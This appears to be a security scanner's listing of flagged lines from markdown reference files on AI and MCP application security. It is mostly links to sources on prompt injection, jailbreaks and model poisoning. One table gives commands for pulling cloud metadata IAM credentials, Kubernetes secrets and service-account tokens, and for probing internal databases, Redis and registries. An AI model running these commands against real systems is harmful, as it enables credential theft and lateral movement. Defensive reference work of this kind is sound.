    https://blog.securelayer7.net/owasp-top10-for-large-language-models/
  • Network accessline 2190
    https://www.mufeedvh.com/llm-security/#2-sandboxing-extended-llms
  • Network accessline 2191
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html
  • Network accessline 2248
    https://mp.weixin.qq.com/s/tf4ljSJ0Ue0YniojWhYMKg
  • Network accessline 2249
    https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure
  • Network accessline 2299
    https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a
  • Network accessline 2302
    https://www.run.ai/guides/kubernetes-architecture/securing-your-ai-ml-kubernetes-environment
  • Network accessline 2347
    https://mp.weixin.qq.com/s/Ry1PoZLfPvw6Lj8bz14mgw
  • Network accessline 2413
    https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf
  • Network accessline 2458
    https://xie.infoq.cn/article/536a3e7e776eb32b38d1a9747
  • Network accessline 2459
    https://www.helloaliyun.com/tutorial/1039.html
  • Network accessline 2460
    https://support.huaweicloud.com/usermanual-gaussdbformysql/gaussdbformysql_05_0347.html
  • Network accessline 2509
    https://developer.aliyun.com/article/1430094
  • Network accessline 2576
    https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a
  • Network accessline 2633
    https://ironcorelabs.com/security-risks-rag/
  • Network accessline 2682
    https://www.securityweek.com/chatgpt-data-breach-confirmed-as-security-firm-warns-of-vulnerable-component-exploitation/
  • Network accessline 2736
    http://www.bimant.com/blog/top8-ml-model-deployment-tools/
  • Network accessline 2737
    https://mlflow.org/docs/latest/deployment/index.html
  • Network accessline 2790
    https://www.docker.com/blog/llm-docker-for-local-and-hugging-face-hosting/
  • Network accessline 2791
    https://collabnix.com/large-language-models-llms-and-docker-building-the-next-generation-web-application/
  • Network accessline 2792
    https://mp.weixin.qq.com/s/vIDHBLbA5iWoPlYTKHSZfw
  • Network accessline 2848
    https://cloud.baidu.com/article/621826
  • Network accessline 2849
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html
  • Network accessline 2949
    https://www.secrss.com/articles/64006
  • Network accessline 2950
    https://huntr.com/bounties/a795bf93-c91e-4c79-aae8-f7d8bda92e2a
  • Network accessline 2985
    https://doc.dataiku.com/dss/latest/concepts/homepage/index.html
  • Network accessline 2986
    https://www.secrss.com/articles/62742
  • Network accessline 3039
    https://llmtop10.com/llm05/
  • Network accessline 3089
    - https://cloud.baidu.com/article/621826
  • Access to secretsline 3201
    [Credential-related source omitted]
  • Network accessline 3217
    | 目标 | 检测命令 | 利用方式 | |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 |
  • Network accessline 3218
    |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret |
  • Network accessline 3219
    | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 |
  • Network accessline 3220
    | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret |
  • Network accessline 3221
    | K8s ServiceAccount | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` | 认证K8s API | | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | | Redis | `redis-cli -h REDIS_HOST ping` | 未授权访问 |
  • Network accessline 3222
    | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 |
  • Network accessline 3224
    | Docker Registry | `curl http://REGISTRY:5000/v2/_catalog` | 拉取敏感镜像 |
  • Network accessline 3310
    https://nordicapis.com/llm-security-hinges-on-api-security/
  • Network accessline 3311
    https://superface.ai/blog/how-to-connect-openai-gpts-to-apis
  • Network accessline 3369
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 3427
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 3499
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 3500
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 3501
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 3502
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 3503
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 3549
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 3550
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 3551
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 3552
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 3553
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 3604
    https://www.secrss.com/articles/51763
  • Network accessline 3605
    https://github.com/linexjlin/GPTs
  • Network accessline 3674
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 3675
    https://learnprompting.org/docs/prompt_hacking/leaking
  • Network accessline 3676
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 3677
    https://matt-rickard.com/a-list-of-leaked-system-prompts
  • Network accessline 3678
    https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection
  • Network accessline 3679
    https://twitter.com/simonw/status/1570933190289924096
  • Network accessline 3730
    https://magazine.sebastianraschka.com/p/ahead-of-ai-8-the-latest-open-source
  • Network accessline 3731
    https://vulcan.io/blog/owasp-top-10-llm-risks-what-we-learned/#h2_1
  • Network accessline 3732
    https://www.linkedin.com/pulse/security-threats-around-llm-systems-categorization-gaurang-desai-bvale?trk=article-ssr-frontend-pulse_more-articles_related-content-card
  • Network accessline 3781
    https://www.anquanke.com/post/id/247895
  • Network accessline 3782
    https://www.aixinzhijie.com/article/6825834
  • Network accessline 3831
    https://blog.barracuda.com/2024/04/03/generative-ai-data-poisoning-manipulation
  • Network accessline 3832
    https://36kr.com/p/2723023103489920
  • Network accessline 3833
    https://shardsecure.com/blog/data-manipulation-ml
  • Network accessline 3881
    https://blog.csdn.net/2401_84252820/article/details/138406655?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-138406655-blog-124579765.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.424
  • Network accessline 3929
    https://cloud.baidu.com/article/3248650
  • Network accessline 3930
    https://forum.butian.net/share/3072
  • Network accessline 3987
    https://aws.amazon.com/cn/blogs/china/privacy-and-security-of-agent-applications/
  • Network accessline 3988
    https://arxiv.org/abs/2511.17671?utm_source=chatgpt.com
  • Network accessline 3989
    https://arxiv.org/abs/2601.05504?utm_source=chatgpt.com
  • Network accessline 4053
    https://www.lesswrong.com/posts/aPeJE8bSo6rAFoLqg/solidgoldmagikarp-plus-prompt-generation
  • Network accessline 4054
    https://www.lesswrong.com/posts/Ya9LzwEbfaAMY8ABo/solidgoldmagikarp-ii-technical-details-and-more-recent
  • Network accessline 4102
    https://www.nightfall.ai/ai-security-101/model-inversion
  • Network accessline 4103
    https://www.michalsons.com/blog/model-inversion-attacks-a-new-ai-security-risk/64427
  • Network accessline 4157
    https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg
  • Network accessline 4241
    https://bj.bcebos.com/ensec-web-privacy/anquan/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%89%E5%85%A8%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E7%99%BD%E7%9A%AE%E4%B9%A6.pdf
  • Network accessline 4242
    https://mp.weixin.qq.com/s/JlJwDRzYG985kF4d6g7qjw
  • Network accessline 4291
    https://news.cctv.com/2022/06/21/ARTIdhgLL1sSK5Hjl0uYWybr220621.shtml
  • Network accessline 4292
    https://atlas.mitre.org/techniques/AML.T0036
  • Network accessline 4341
    https://www.kuaikuaicloud.com/market/3667.html
  • Network accessline 4382
    http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf
  • Network accessline 4440
    https://mp.weixin.qq.com/s/3WAWy4ZV6Ezft_2MJHMgtg
  • Network accessline 4441
    https://mp.weixin.qq.com/s/yiloJtlmv7MT3df9AnWNZQ
  • Network accessline 4487
    https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg
  • Network accessline 4488
    https://36kr.com/p/2541963790493187
  • Network accessline 4538
    https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg
  • Network accessline 4539
    https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw
  • Network accessline 4582
    https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg
  • Network accessline 4583
    https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw
  • Network accessline 4584
    https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg
  • Network accessline 4585
    https://36kr.com/p/2541963790493187
  • Network accessline 4639
    https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset
  • Network accessline 4640
    https://arxiv.org/abs/2310.03693
  • Network accessline 4641
    https://blog.csdn.net/yalecaltech/article/details/117135011
  • Network accessline 4696
    https://cloud.baidu.com/article/1819998
  • Network accessline 4749
    https://www.eet-china.com/mp/a213535.html
  • Network accessline 4802
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Training_Data_Poisoning.html
  • Network accessline 4859
    https://mp.weixin.qq.com/s/C9eIW06UXKL8g9TkZzGn_w
  • Network accessline 4860
    https://www.techpolicy.press/new-study-suggests-chatgpt-vulnerability-with-potential-privacy-implications/
  • Network accessline 4910
    https://ensarseker1.medium.com/data-poisoning-attacks-the-silent-threat-to-ai-integrity-d83900eea276
  • Network accessline 4911
    https://www.51cto.com/article/760084.html
  • Network accessline 4967
    https://home.dartmouth.edu/news/2024/01/zeroing-origins-bias-large-language-models
  • Network accessline 5040
    https://mp.weixin.qq.com/s/lgMI9tf0xAl8siZYaKcqog
  • Network accessline 5041
    https://mcp.csdn.net/6800a595a5baf817cf49422d.html
  • Network accessline 5100
    https://www.reddit.com/r/cybersecurity/comments/1lzrkf6/another_critical_cvss_9610_mcpbased_vulnerability/
  • Network accessline 5101
    https://threatprotect.qualys.com/2025/07/03/anthropic-model-context-protocol-mcp-inspector-remote-code-execution-vulnerability-cve-2025-49596/?utm_source=chatgpt.com
  • Network accessline 5159
    https://arxiv.org/pdf/2211.09527.pdf
  • Network accessline 5160
    https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms
  • Network accessline 5161
    https://prompt-guide.xiniushu.com/prompt_hacking/injection
  • Network accessline 5220
    https://www.knightcxx.cn/?p=118
  • Network accessline 5288
    https://simonwillison.net/2023/Feb/15/bing/
  • Network accessline 5289
    https://www.tomshardware.com/news/chatgpt-generates-windows-11-pro-keys
  • Network accessline 5290
    https://www.polygon.com/23690187/discord-ai-chatbot-clyde-grandma-exploit-chatgpt?continueFlag=9d7655502c6eb54decc775fab724139d
  • Network accessline 5340
    https://sysdig.com/blog/lateral-movement-cloud-containers/
  • Network accessline 5382
    https://dtzed.com/studies/2023/10/8093/
  • Network accessline 5383
    https://www.cobalt.io/blog/llm-insecure-output-handling
  • Network accessline 5439
    https://allabouttesting.org/owasp-agentic-ai-threat-t9-identity-spoofing-impersonation-in-ai-systems/
  • Network accessline 5440
    https://moanju.org/posts/ai-agent-attack-examples-owasp-2026/
  • Network accessline 5488
    https://openai.com/blog/march-20-chatgpt-outage
  • Network accessline 5489
    https://securityaffairs.com/144057/data-breach/openai-chatgpt-redis-bug-data-leak.html
  • Network accessline 5546
    https://kenhuangus.medium.com/llm-powered-applications-architecture-patterns-and-security-controls-7a153c3ec9f4
  • Network accessline 5547
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Insufficient_Access_Control.html
  • Network accessline 5601
    https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ
  • Network accessline 5602
    https://priyalwalpita.medium.com/securing-the-future-of-ai-a-deep-dive-into-owasps-top-10-security-risks-for-large-language-models-72c5ff540cd3
  • Network accessline 5655
    http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf
  • Network accessline 5656
    https://blog.csdn.net/douyu0814/article/details/133703803
  • Network accessline 5704
    https://www.knightcxx.cn/?p=118
  • Network accessline 5767
    https://thehackernews.com/2023/06/over-100000-stolen-chatgpt-account.html
  • Network accessline 5768
    https://www.makeuseof.com/why-hackers-target-chatgpt-accounts/
  • Network accessline 5826
    https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ
  • Network accessline 5882
    https://www.signalfire.com/blog/prompt-injection-security
  • Network accessline 5883
    https://developer.nvidia.com/blog/mitigating-stored-prompt-injection-attacks-against-llm-applications/
  • Network accessline 5935
    - https://www.securityweek.com/major-organizations-using-hugging-face-ai-tools-put-at-risk-by-leaked-api-tokens/
  • Network accessline 5936
    - https://aws.amazon.com/cn/what-is/api-key/
  • Network accessline 5998
    https://medium.com/@nitishjoshi060291/llm-hallucinations-fix-it-with-vector-database-de04eee531da
  • Network accessline 5999
    https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications
  • Network accessline 6000
    https://www.cnblogs.com/LittleHann/p/17440063.html#_label3
  • Network accessline 6001
    https://dongnian.icu/llms/llms_article/9.%E6%A3%80%E7%B4%A2%E5%A2%9E%E5%BC%BALLM/index.html
  • Network accessline 6002
    https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications
  • Network accessline 6054
    https://www.leewayhertz.com/security-in-ai-development/
  • Network accessline 6103
    https://atmosphericthinking.medium.com/massive-leak-of-chatgpt-credentials-over-100-000-affected-db6cef3a18c5
  • Network accessline 6104
    https://blog.csdn.net/FreeBuf_/article/details/140870185?utm_relevant_index=7
  • Network accessline 6151
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 6152
    https://developer.nvidia.com/zh-cn/blog/securing-llm-systems-against-prompt-injection/
  • Network accessline 6198
    https://blog.csdn.net/qq_43543209/article/details/135683986
  • Network accessline 6247
    https://www.pulumi.com/ai/answers/mptvxaHguJ6A4yXSHi92zZ/implementing-role-based-access-to-ai-training-data-in-snowflake
  • Network accessline 6314
    https://github.com/0xk1h0/ChatGPT_DAN
  • Network accessline 6315
    https://www.digitaltrends.com/computing/what-is-dan-prompt-chatgpt/
  • Network accessline 6316
    https://arxiv.org/abs/2308.03825
  • Network accessline 6362
    https://www.anthropic.com/research/many-shot-jailbreaking
  • Network accessline 6414
    https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models
  • Network accessline 6415
    https://arxiv.org/pdf/2305.13534.pdf
  • Network accessline 6478
    https://atlas.mitre.org/techniques/AML.T0005
  • Network accessline 6551
    https://mp.weixin.qq.com/s/LSTZUKOlXP9VZTxa-nKkhA
  • Network accessline 6552
    https://blog.uptrain.ai/llm-jailbreak/
  • Network accessline 6553
    https://www.fuzzylabs.ai/blog-post/jailbreak-attacks-on-large-language-models
  • Network accessline 6625
    https://www.lakera.ai/blog/jailbreaking-large-language-models-guide
  • Network accessline 6683
    https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ
  • Network accessline 6741
    https://stcn.com/article/detail/1250289.html
  • Network accessline 6742
    https://www.51cto.com/aigc/912.html
  • Network accessline 6854
    https://arxiv.org/abs/2307.15043
  • Network accessline 6855
    https://twitter.com/andyzou_jiaming/status/1684766170766004224
  • Network accessline 6856
    https://zhuanlan.zhihu.com/p/662098517
  • Network accessline 6952
    https://zhuanlan.zhihu.com/p/620575831
  • Network accessline 6953
    https://atlas.mitre.org/techniques/AML.T0015
  • Network accessline 7051
    https://mp.weixin.qq.com/s/yozvoCG92TDIF86EEz9g8Q
  • Network accessline 7052
    https://mp.weixin.qq.com/s/RdIQBaBR0RQJUFp0Pf7ovA
  • Network accessline 7053
    https://mp.weixin.qq.com/s/sxjU930eO4K_HKPPWXPlWg
  • Network accessline 7054
    https://mp.weixin.qq.com/s/PGMVqjeI18x7GZyksvtGzQ
  • Network accessline 7118
    https://arxiv.org/pdf/2311.05232.pdf
  • Network accessline 7119
    https://mp.weixin.qq.com/s/qFAQQJ_FuhY2iaLzkoWynA
  • Network accessline 7120
    https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models
  • Network accessline 7121
    https://www.appendata.com/blogs/ai-hallucinations
  • Network accessline 7192
    https://mp.weixin.qq.com/s/4UzoMtIL2oSkxzzuceuxhg
  • Network accessline 7193
    https://zh-cn.eureporter.co/internet-2/artificial-intelligence/2024/02/03/laws-to-prevent-ai-terrorism-are-urgently-needed/
  • Network accessline 7250
    https://infosecwriteups.com/jail-breaking-chatgpt-to-write-malware-9b3ae111f30c
  • Network accessline 7251
    https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/
  • Network accessline 7252
    https://arxiv.org/abs/2404.08144
  • Network accessline 7253
    https://blog.csdn.net/pengpengjy/article/details/132478358
  • Network accessline 7310
    https://www.freebuf.com/articles/ai-security/454527.html
  • Network accessline 7311
    https://zhuanlan.zhihu.com/p/1928583554805260699
  • Network accessline 7377
    https://mp.weixin.qq.com/s/5cEkxtEbH7GUKiQ5aRsnrg
  • Network accessline 7446
    https://mp.weixin.qq.com/s/nOn1aQDEQys5D7sNK1_oPg
  • Network accessline 7447
    https://mp.weixin.qq.com/s/ZpM09SUHSTvM9SrvrlBEmA
  • Network accessline 7514
    https://www.ibm.com/topics/model-drift
  • Network accessline 7515
    https://www.datacamp.com/tutorial/understanding-data-drift-model-drift
  • Network accessline 7516
    https://mp.weixin.qq.com/s/QbADBoHEqpDBKNkr-so3Ig
  • Network accessline 7517
    https://arxiv.org/pdf/2307.09009.pdf
  • Network accessline 7569
    https://arxiv.org/abs/2404.12038
  • Network accessline 7682
    https://github.com/PKU-YuanGroup/Hallucination-Attack
  • Network accessline 7683
    https://zhuanlan.zhihu.com/p/661444210
  • Network accessline 7684
    https://arxiv.org/pdf/2310.01469.pdf
  • Network accessline 7873
    https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ
  • Network accessline 7874
    http://www.cbdio.com/BigData/2024-01/11/content_6176237.htm
  • Network accessline 7949
    https://mp.weixin.qq.com/s/krG4NGBCjK5kUL2x_RGRSg
  • Network accessline 7950
    https://world.huanqiu.com/article/4FIHGhZ96FB
  • Network accessline 7951
    https://insight.kellogg.northwestern.edu/zh/article/how-to-prepare-for-ai-generated-misinformation
  • Network accessline 8009
    https://stcn.com/article/detail/1250289.html
  • Network accessline 8010
    https://www.51cto.com/aigc/912.html
  • Network accessline 8085
    https://mp.weixin.qq.com/s/KGqu6i2_xX9d7-x8P189Lw
  • Network accessline 8200
    https://mp.weixin.qq.com/s/8Ca4HmkafP9SxjHayC9zdQ
  • Network accessline 8201
    https://mp.weixin.qq.com/s/-0i0SlGat-Y5hXcM3EIGiw
  • Network accessline 8202
    https://mp.weixin.qq.com/s/2Ai4nKOzEnkhqJD903O8mA
  • Network accessline 8284
    https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA
  • Network accessline 8342
    https://stcn.com/article/detail/1250289.html
  • Network accessline 8343
    https://www.51cto.com/aigc/912.html
  • Network accessline 8344
    https://36kr.com/p/2190993024614530
  • Network accessline 8394
    https://atlas.mitre.org/tactics/AML.TA0001
  • Network accessline 8395
    https://www.sohu.com/a/584853485_121124363
  • Network accessline 8444
    https://atlas.mitre.org/techniques/AML.T0014
  • Network accessline 8488
    https://atlas.mitre.org/techniques/AML.T0013
  • Network accessline 8539
    https://36kr.com/p/2653630408081670
  • Network accessline 8540
    https://www.sciencedirect.com/science/article/abs/pii/S0167865522003063
  • Network accessline 8616
    https://rodtrent.substack.com/p/must-learn-ai-security-part-8-model
  • Network accessline 8617
    https://arxiv.org/pdf/2403.06634.pdf
  • Network accessline 8618
    https://cloud.tencent.com/developer/article/2378846
  • Network accessline 8619
    https://www.53ai.com/news/LargeLanguageModel/2024071740891.html
  • Network accessline 8688
    https://atlas.mitre.org/techniques/AML.T0018
  • Network accessline 8689
    https://defence.ai/ai-security/backdoor-attacks-ml/
  • Network accessline 8690
    https://arxiv.org/abs/2308.14367
  • Network accessline 8743
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_AI_Alignment.html
  • Network accessline 8805
    https://wiki.offsecml.com/Supply+Chain+Attacks/Models/Using+Keras+Lambda+Layers
  • Network accessline 8808
    https://5stars217.github.io/2023-08-08-red-teaming-with-ml-models/
  • Network accessline 8811
    https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model
  • Network accessline 8856
    https://thenewstack.io/how-to-reduce-the-hallucinations-from-large-language-models/
  • Network accessline 8906
    https://aclanthology.org/2020.acl-main.249/

deepsec/spear/skills/specialized/ai-mcp-security/references/ai-app-security.md

  • Network accessline 68
    http://youtube.com/watch?v=7ZA0Z1R-MjQ
  • Network accessline 69
    http://youtube.com/watch?v=KksYizcLFH0
  • Access to secretsline 95
    [Credential-related source omitted]
  • Network accessline 128
    https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
  • Network accessline 129
    https://atlas.mitre.org/techniques/AML.T0051
  • Network accessline 130
    https://github.com/invariantlabs-ai/mcp-injection-experiments
  • Network accessline 191
    https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
  • Network accessline 192
    https://mp.weixin.qq.com/s/EJLb1IwqbPF3VSDkJu099g
  • Network accessline 193
    https://x.com/hongming731/status/1922261630664245326
  • Network accessline 194
    https://news.qq.com/rain/a/20250429A07QY000
  • Network accessline 255
    https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/
  • Network accessline 256
    https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
  • Network accessline 322
    https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
  • Network accessline 323
    https://www.solo.io/blog/deep-dive-mcp-and-a2a-attack-vectors-for-ai-agents
  • Network accessline 384
    https://aclanthology.org/2024.scalellm-1.2/
  • Network accessline 385
    https://atlas.mitre.org/techniques/AML.T0051
  • Network accessline 386
    https://josephthacker.com/ai/2023/05/19/prompt-injection-poc.html
  • Network accessline 387
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 441
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html
  • Network accessline 518
    https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2
  • Network accessline 572
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Unauthorized_Code_Execution.html
  • Network accessline 573
    https://www.calvin-risk.com/blog/decoding-llm-risks-a-comprehensive-look-at-unauthorized-code-execution
  • Network accessline 612
    https://mp.weixin.qq.com/s/eFDQWYYCOe_SSiourhTxig
  • Network accessline 698
    https://arxiv.org/html/2402.16914v1
  • Network accessline 807
    https://promptengineering.org/mind-over-malware-battling-the-growing-arsenal-of-attacks-on-large-language-models/
  • Network accessline 808
    https://www.toolify.ai/ai-news/the-future-of-hacking-5-terrifying-llm-security-threats-544868
  • Network accessline 848
    https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/
  • Network accessline 849
    https://openai.com/index/memory-and-new-controls-for-chatgpt/
  • Network accessline 927
    https://portswigger.net/web-security/llm-attacks
  • Network accessline 975
    https://labs.withsecure.com/publications/llm-agent-prompt-injection
  • Network accessline 1027
    https://labs.withsecure.com/publications/llm-agent-prompt-injection
  • Network accessline 1075
    http://youtube.com/watch?v=7ZA0Z1R-MjQ
  • Network accessline 1076
    http://youtube.com/watch?v=KksYizcLFH0
  • Network accessline 1138
    https://mp.weixin.qq.com/s/9JwADiu9t3kqcfqnRMC2zQ
  • Network accessline 1139
    https://finance.sina.com.cn/tech/digi/2025-06-01/doc-ineypqvh0855918.shtml
  • Network accessline 1140
    https://zhuanlan.zhihu.com/p/1900540531131523166
  • Network accessline 1191
    https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA
  • Network accessline 1248
    https://atlas.mitre.org/techniques/AML.T0051.001
  • Network accessline 1249
    https://twitter.com/random_walker/status/1636923058370891778
  • Network accessline 1250
    https://medium.com/@harry.hphu/introduction-to-web-llm-attacks-indirect-prompt-injection-7bb9f154bc07
  • Network accessline 1251
    https://medium.com/@dinob5551/indirect-prompt-injection-the-hidden-threat-lurking-in-ai-730b009dd5fb
  • Network accessline 1412
    https://drive.google.com/file/d/1CTVcliUblX35cWfB49Xjhf8xk-fM3QH1/edit?pli=1
  • Network accessline 1466
    https://analyticsindiamag.com/metas-llama-leaked-to-the-public-thanks-to-4chan/
  • Network accessline 1467
    https://knightcolumbia.org/blog/the-llama-is-out-of-the-bag-should-we-expect-a-tidal-wave-of-disinformation
  • Network accessline 1519
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1520
    https://cloud.baidu.com/article/3253170
  • Network accessline 1521
    https://www.akto.io/blog/insecure-output-handling-in-llms-insights
  • Network accessline 1522
    https://journal.hexmos.com/insecure-output-handling/
  • Network accessline 1523
    https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2
  • Network accessline 1576
    https://sec.cafe/handbook/security_research/ai_security/llm_security/attack/
  • Network accessline 1621
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html
  • Network accessline 1622
    https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
  • Network accessline 1623
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1667
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1717
    https://www.wehelpwin.com/article/5063
  • Network accessline 1718
    https://medium.com/nfactor-technologies/rag-poisoning-an-emerging-threat-in-ai-systems-660f9ff279f9
  • Network accessline 1719
    https://ironcorelabs.com/security-risks-rag/
  • Network accessline 1775
    https://arxiv.org/html/2312.04724v1
  • Network accessline 1821
    https://security.tencent.com/index.php/blog/msg/209
  • Network accessline 1886
    https://hiddenlayer.com/research/insane-in-the-supply-chain/

deepsec/spear/skills/specialized/ai-mcp-security/references/ai-baseline-security.md

  • Network accessline 68
    https://atlas.mitre.org/techniques/AML.T0029
  • Network accessline 69
    https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v05.pdf
  • Network accessline 70
    https://www.cnblogs.com/LittleHann/p/17596696.html
  • Network accessline 120
    https://blog.securelayer7.net/owasp-top10-for-large-language-models/
  • Network accessline 121
    https://www.mufeedvh.com/llm-security/#2-sandboxing-extended-llms
  • Network accessline 122
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html
  • Network accessline 179
    https://mp.weixin.qq.com/s/tf4ljSJ0Ue0YniojWhYMKg
  • Network accessline 180
    https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure
  • Network accessline 230
    https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a
  • Network accessline 233
    https://www.run.ai/guides/kubernetes-architecture/securing-your-ai-ml-kubernetes-environment
  • Network accessline 278
    https://mp.weixin.qq.com/s/Ry1PoZLfPvw6Lj8bz14mgw
  • Network accessline 344
    https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf
  • Network accessline 389
    https://xie.infoq.cn/article/536a3e7e776eb32b38d1a9747
  • Network accessline 390
    https://www.helloaliyun.com/tutorial/1039.html
  • Network accessline 391
    https://support.huaweicloud.com/usermanual-gaussdbformysql/gaussdbformysql_05_0347.html
  • Network accessline 440
    https://developer.aliyun.com/article/1430094
  • Network accessline 507
    https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a
  • Network accessline 564
    https://ironcorelabs.com/security-risks-rag/
  • Network accessline 613
    https://www.securityweek.com/chatgpt-data-breach-confirmed-as-security-firm-warns-of-vulnerable-component-exploitation/
  • Network accessline 667
    http://www.bimant.com/blog/top8-ml-model-deployment-tools/
  • Network accessline 668
    https://mlflow.org/docs/latest/deployment/index.html
  • Network accessline 721
    https://www.docker.com/blog/llm-docker-for-local-and-hugging-face-hosting/
  • Network accessline 722
    https://collabnix.com/large-language-models-llms-and-docker-building-the-next-generation-web-application/
  • Network accessline 723
    https://mp.weixin.qq.com/s/vIDHBLbA5iWoPlYTKHSZfw
  • Network accessline 779
    https://cloud.baidu.com/article/621826
  • Network accessline 780
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html
  • Network accessline 880
    https://www.secrss.com/articles/64006
  • Network accessline 881
    https://huntr.com/bounties/a795bf93-c91e-4c79-aae8-f7d8bda92e2a
  • Network accessline 916
    https://doc.dataiku.com/dss/latest/concepts/homepage/index.html
  • Network accessline 917
    https://www.secrss.com/articles/62742
  • Network accessline 970
    https://llmtop10.com/llm05/
  • Network accessline 1020
    - https://cloud.baidu.com/article/621826
  • Access to secretsline 1132
    [Credential-related source omitted]
  • Network accessline 1148
